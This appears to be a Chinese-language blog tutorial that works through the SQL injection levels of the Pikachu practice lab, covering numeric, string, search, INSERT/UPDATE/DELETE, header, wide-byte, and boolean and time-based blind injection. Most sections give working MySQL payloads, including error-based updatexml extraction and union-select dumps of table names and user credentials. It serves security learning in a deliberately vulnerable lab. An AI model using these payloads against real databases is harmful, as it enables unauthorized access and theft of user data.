总算到了SQL注入了,其实我最开始就想先讲这个部分,但还是按照顺序来了。那么话不多说,就开始吧XD
一、介绍
SQL注入是通过各种方式构造一个恶意输入,将这个恶意输入并入到数据库查询语句中,从而执行攻击者希望的恶意查询。
比如说,一个查询,需要用户输入正确的用户名和密码才能够进行正常的查询。比如用户名为Alice,密码为kuria:
select * from user where username='Alice' and password='kuria';
然而,攻击者不输入正确的用户名,而是构造恶意payload,使用户名为' or '1'='1,这样查询语句就变成了:
select * from user where username='' or '1'='1' and password='kuria';
通过构造恶意输入,就可以使得上述的查询语句条件永真,从而返回所有用户数据。
所以在涉及到数据库查询时,需要充分对用户输入进行验证与过滤。
如果希望学习sql注入,请使用sqlilabs靶场
Audi-1/sqli-labs: SQLI labs to test error based, Blind boolean based, Time based. (github.com)
会比pikachu专业很多,以后我也会介绍。
二、数字型注入
关于数据提交方法的部分我就再赘述了,总之先来看看关卡。选择不同的数字点击查询后,会返回一些不同的结果。显然这里查询了两个字段,用户名和邮箱:
猜测对应了一部分代码应该是这样的:
$id = $_POST['id'];
select [username字段], [password字段] from [某个表] where id=$id;
既然题目说是POST请求,那么就先用burp抓下包
可以看到,通过id作为参数,进行了查询(后面那串%E6%9F%A5%E8%AF%A2进行URL解码后是“查询”这两个字)
那么将这个数据包放入Repeater中,然后正式开始SQL注入,修改id为:
1 or 1=1
由于结果永真,所以所有id值都满足条件,就返回了所有数据。
三、字符型注入
字符型注入的字符也可以是数字,在这一关,我们需要考虑到符号的闭合。
既然说是get请求,那就不用burp直接看url了。先随便输点什么:
与第一关不同,这里传入的参数是kuria,那么让我们推测一下对应的代码
$name = $_GET['name'];
select [column] from [table] where name='$name';
如果有一些语言基础的话,就会知道涉及到非数字的情况,一般是要使用引号将字符包裹的(当然数字也可以作为字符)。所以如果我们还像第一关时,不考虑引号直接注入的话:
# payload
kuria or 1=1
# 查询语句
select [column] from [table] where name='kuria or 1=1';
显然,这里查询了一个叫做kuria or 1=1的用户,并不是我们希望的恶意payload,所以要注意闭合引号:
# payload
1' or '1'='1
# 查询语句
select [column] from [table] where name='1' or '1'='1';
1' or '1'='1有的时候被叫做万能钥匙,有的时候网站没做好过滤就可以直接进去。咳咳,总之,闭合好引号之后,查询语句就变得正常了,那么实际操作一下。
ok,下一关
四、搜索型注入
其实还是闭合的问题,只不过这里不是引号
输点什么看看先
输入a,把所有包含a的信息都弹出来了。那么应该是使用了like运算符进行模糊查询,对应的代码应该为:
select [column] from [table] where name like '%$name%';
也就是说,我们闭合的时候要同时注意闭合%,那就很简单了,只要让语句变成:
#payload
1%' or 1=1#
# #在mysql中表示注释掉后面的内容
select [column] from [table] where name like '%1%' or 1=1#%';
就这样过关。
五、XX型注入
这里的XX不是缩写,而是泛指各种什么什么类型的注入,但在没有WAF下核心只有一条,构造闭合。
在真实情境里,后端会用各种方式阻碍我们拼接payload,比如(['"等等需要闭合的,这些都可以通过sqlmap等工具自动实现。但我们这里需要让大家掌握手工注入的原理,所以没用这些工具。
总之,就是想告诉大家,注入是需要很多尝试的,大多数情况下并不会非常轻易地就让你成功注入。
我们直接来看看后端代码:
这里使用了()来妨碍我们,如果不是直接看代码的话,是不会这么容易就得知的。既然知道代码,payload就很好构造了。
1') or 1=1#
ok,下一关
六、INSERT/UPDATE注入
数据库的操作简单的可以归类为四种,增删改查——INSERT、DELETE、UPDATE、SELECT。
本质上都是一样的,就是攻击者如何利用sql语句。总之先来看看,这里有一个注册按钮,是常见的INSERT注入产生的位置。
尝试判断一下是否为注入点,pikachu内都把报错信息显示出来了,正常是不可以这样的。我们在用户处只输入一个',而不闭合,正常来说就会报错
果然报错了,那么基本可以断定有注入,可以猜测一下语句:
insert into table(username, password, sex, phonenum, email, address) values('', '', '', '' ,'' ,'');
INSERT注入是将我们的注入信息,通过INSERT插入到数据库中,一般来说,是一种没有回显的注入。也就是说,我们要进行盲注。下面会有一个部分将盲注并介绍通常的数据库注入流程,这里先简单提一下。
这里使用一种叫做报错注入的方式,就是使用一些函数让语句强制报错,同时获取到数据库的一些相应信息。(这里为了方便可以用burp中的Repeater)
1' and updatexml(1, concat(0x7e, database()), 0) or '
这里使用了updatexml(),涉及到了三个参数
updatexml(target, xpath, new_value)
target:要修改的xml文档名称。这里使用1就是为了报错
xpath:是一个xpath表达式,用于指定要更新的XML元素或属性的位置。想要具体深入可以学习xpath语句
new value:指定修改的新值。但在这里可以随意
然后具体看看concat中的内容,这个之后也会比较常见,所以可以重点记一下,其实也很简单:
concat(string1, string2, ...)
concat是一个SQL函数,用于将多个字符串连接在一起,以创建一个新的字符串。
string1, string2, ...:这些是要连接的字符串参数。你可以指定一个或多个字符串,用逗号分隔。CONCAT 函数会按照参数的顺序将它们连接在一起,并返回一个包含连接后内容的新字符串。
那么上述payload中就是将~的十六进制0x7e和数据库名拼接起来,方便你查找。
介绍完毕,回到得到数据库名称的位置,那么就该查找表名了。也就是修改database()这个部分为查询语句,上面涉及到的一些表名和列名后面的部分会介绍,这里先别在意。
这里提供两个Payload
1' and updatexml(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema='pikachu')), 0) or '
这个方法在select后面的字段前加了group_concat使得所有回显可以在同一行显示出来,也是我比较推荐的方法。但缺点在于,有到时候返回值会受到长度限制,比如这张图中xssblind表就没完全显示出来。
1' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)), 0) or '
第二种则没有用group_concat,而是在后面使用了limit。可以看到我添加了limit 0,1这个关键字,用于限定输入的行
limit 0,1
第一个数字0,是偏移量,表示从结果集的第一行开始。
第二个数字1,是行数限制,表示返回的结果行数为1。
如果不加limit就会报错
意思是返回值多余一行。所以我们就修改第一个数字,就可以逐行得到表名称。接下来我们用users表(limit 1,1时出现)来示范后面的步骤。
得到列名称
1' and updatexml(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name='member')), 0) or '
这样我们就得到了该表中的所有列名称(其实还有address和email两个字段,这里长度被限制了。使用另一种方法就可以完整的查出来就是有点麻烦)接下来就是取数据,使用简单的查询语句就行了
1' and updatexml(1, concat(0x7e, (select username from member limit 0,1)), 0) or '
这里应该报错了,很遗憾这是mysql的特性,不允许先查询的同时更新对应表的数据还是改成users表吧
1' and updatexml(1, concat(0x7e, (select group_concat(username) from users)), 0) or '
然后依次查出所有数据。
而UPDATE一般产生在修改信息的地方,比如:
流程和INSERT一样,就不再重复了。
七、DELETE注入
这种注入如名字一样,一般会出现在删除信息的时候。随便添加一条消息然后删除,并进行抓包
可以看到,通过get请求提交了一个id,那么我们就可以尝试利用这个id进行注入。同样,由于删除操作也是没有回显的,我们要利用上面使用过的报错注入。
1+and+updatexml(1,+concat(0x7e,+database()),+0)
后面的步骤也和INSERT和UPDATE注入一样,就不多说了。但由于这里是get请求,所以空格要使用+来表示,否则服务端可能无法正常地接收请求。
八、http header注入
又叫http头部注入,就是通过修改http头部的字段,来达到注入的效果。比如一道常见的笔试题:
如果在某次渗透过程中,被提示“已检测到您疑似攻击的行为,已记录您的IP:XX.XX.XX.XX,你有什么思路么?”
这个时候,就可以尝试修改请求包中的IP值,协助完成各种攻击。(当然要注意,并不是完全可行的。如果对方是从网络层获取IP的话,就无法通过这种方式攻击)
话就到这里,我们尝试登录(账号密码在右上角tip中),登录之后提示了被记录的信息
可以猜测,是获取了http头部的字段信息。而如果它涉及到了数据库查询,就一定是字符型。那么我们尝试修改字段为一个未闭合的引号
出现了查询的报错信息,那么那么接下来就有回到上面的步骤了
1' or updatexml(1, concat(0x7e, database()), 0) or '
下面不在赘述
九、宽字节注入
首先要搞懂什么是宽字节注入:
在查询时'是一个非常敏感的字符,因为很多注入都会涉及到这个符号,所以为了让'只被识别为文本的作用,经常会对其进行转义,即加上\变为\'
首先理解几个定义:
宽字节:字符大小为两个字节
窄字节:字符大小为一个字节
\的url编码为%5c,'的url编码为%27
一般来说,一个字母或数字是占一个字节,一个汉字占两个字节。因此如果当前一个字节的ASCII2码大于128时,就会被识别为汉字,从而将\作为汉字的一部分被解码,从而使得'逃逸出来。如构造了Payload:
# 参数为
name=kuria' or 1=1#
# 这个参数会被转义为
kuria\' or 1=1#
宽字节注入则是在'前添加一个ASCII2码大于128的url编码
# 参数为
name=kuria%df' or 1=1#
# 这个参数会被转义为
kuria%df\' or 1=1#
# 只看%df\'这个部分,被url编码后会变为
%df%5c%27
# 由于第一个编码的ASCII2大于128,所以在解码时,前两个编码会被识别为一个汉字
縗'
# 最终注入的语句就变为
name=縗' or 1=1#
从而成功注入,%df并不是唯一的,还可以选择别的值,只是and在php转义后就是%df,所以用的人很多。那么进入关卡吧。
1%df' or 1=1#
好像已经没什么可以讲的了,就直接放结果图好了。
十、盲注
盲注,就是在注入时没有回显的时候使用的方法,通常通过各种特定的函数来达到获取信息的目的。
盲注一般分为三种:报错注入、布尔注入、延时注入。
报错注入已经讲完了,这里介绍一下布尔注入和延时注入。
(1)布尔注入
通过实例来讲解,看看布尔注入这一关。
vince' and 1=1#
vince' and 1=2#
可以看到有不同的输出结果,但是没有回显。布尔注入一般是使用length()、substr()这两个函数来猜测某个字符的长度,某一位的字符。
length(str) # 返回str的长度
select length("hello") # 将返回5
substr(str, start, length) # 从str的第start个字符开始,截取length的长度
select substr("hello,world", 3, 2) #将返回"ll"
同样要从数据库名称开始,我们可以先猜测数据库名的长度。
vince' and length(database())=7#
只有猜到正确的长度时,才会返回信息(可以使用大于小于号进行二分法)
然后逐位猜测字符
vince' and ascii(substr(database(), 1, 1))=112#
这里使用ascii编码可以避免转义,同时在开发脚本工具的时候更加简单(便于遍历)
然后就是逐个猜解表名,列名,数据。依旧是重复上面的步骤。
(2)延时注入
延时注入则是使用到了sleep()与if()函数
sleep(time) # 将休眠time秒
if(condition, A, B) # condition为True则返回A,condition为False则返回B
将二者结合
sleep(if(condition, A, B)) # condition为True则休眠A秒,condition为False则休眠B秒
if(conditon, sleep(time), null) # condition为True则休眠time秒,condition为False则不休眠
延时注入就是通过延时的时间来判断条件是否正确
vince' and sleep(if(ascii(substr(database(), 1, 1))=112, 5, 0))#
vince' and if(ascii(substr(database(), 1, 1))=112, sleep(5), null)#
如果产生了延时则说明猜测正确。之后的猜解也不再重复。
(3)比较
需要使用盲注时,最优选择是报错注入,可以强制回显且简单快捷
其次是布尔注入,最后才是延时注入。在注入次数多的情况下,延时注入需要的时间实在是太长了。
十一、常用流程
可以看到上面不同种类的注入方式流程是非常相似的,所以这里总结一下手工注入的常见流程,这里用字符型注入作为演示。
1.判断注入
在找到一个注入点之后要判断是否可以注入。
1' and '1'='1
1' and '1'='2
如果回显有不同,则说明存在注入点
2.猜解列名数量
在查询后面加上order by [列数],当某个数字报错时,就表示前一个数字是正确的列数
如使用payload:
' or 1=1 order by 1#
' or 1=1 order by 2#
' or 1=1 order by 3#
当输到3时,第一次报错,说明存在两个字段
3.查看回显显示的位置
1' union select 1,2#
可以看到对应的位置出现了1,2这样的数字,这一步是确定回显所占的位置。比如有是猜解列名数量时猜解出了了三个字段,但是通过这一步会发现页面中只有1和3,我们就要在对应的数字上进行信息获取。
4.信息收集
接下来解释修改联合查询语句。首先是获取数据库名
1' union select database(),2#
看到我们将select后的1修改为了database(),下面的回显原本是1的位置就变成了返回的数据库名称,希望这个示例能够帮助你理解上面所说的“在对应的数字上进行信息获取”。
在进行下一步,之前你要知道mysql一些表和对应的列名
--------常用的表名--------
# 记录所有数据库名信息的表
information_schema.schemata
# 记录所有表名信息的表
information_schema.tables
# 记录所有列名信息的表
information_schema.columns
--------常用的列名--------
# 表对应的库名
table_schema
# 表名
table_name
# 列名
column_name
mysql5.0以下成为低版本,5.0以上成为高版本。只有在高版本才有这些表,可以通过version()查看版本信息。
1' union select version(),2#
有了这些知识之后,就可以开始查找表名了,可以尝试理解一下下面的查询语句
-1' union select table_schema, table_name from information_schema.tables where table_schema="pikachu"#
这样就得到了所有的表名,然后就可以开始查找列名,用member表示范
-1' union select table_name, column_name from information_schema.columns where table_name="member"#
最后就可以获取数据了
-1' union select username, pw from member #
这样我们就可以获取到任意的数据了。最后说一下如果要查特定数据库下的某个表的话,对应表名的形式是database.table。
十二、后记
sql注入写起来果然是得心应手,好快。不过也可能是比较简单,之后在CTF赛题里应该还会继续讲讲,有一个作者的系列赛题我印象还挺深的来着。
那么下一个部分再见咯(*^▽^*)
Comments | NOTHING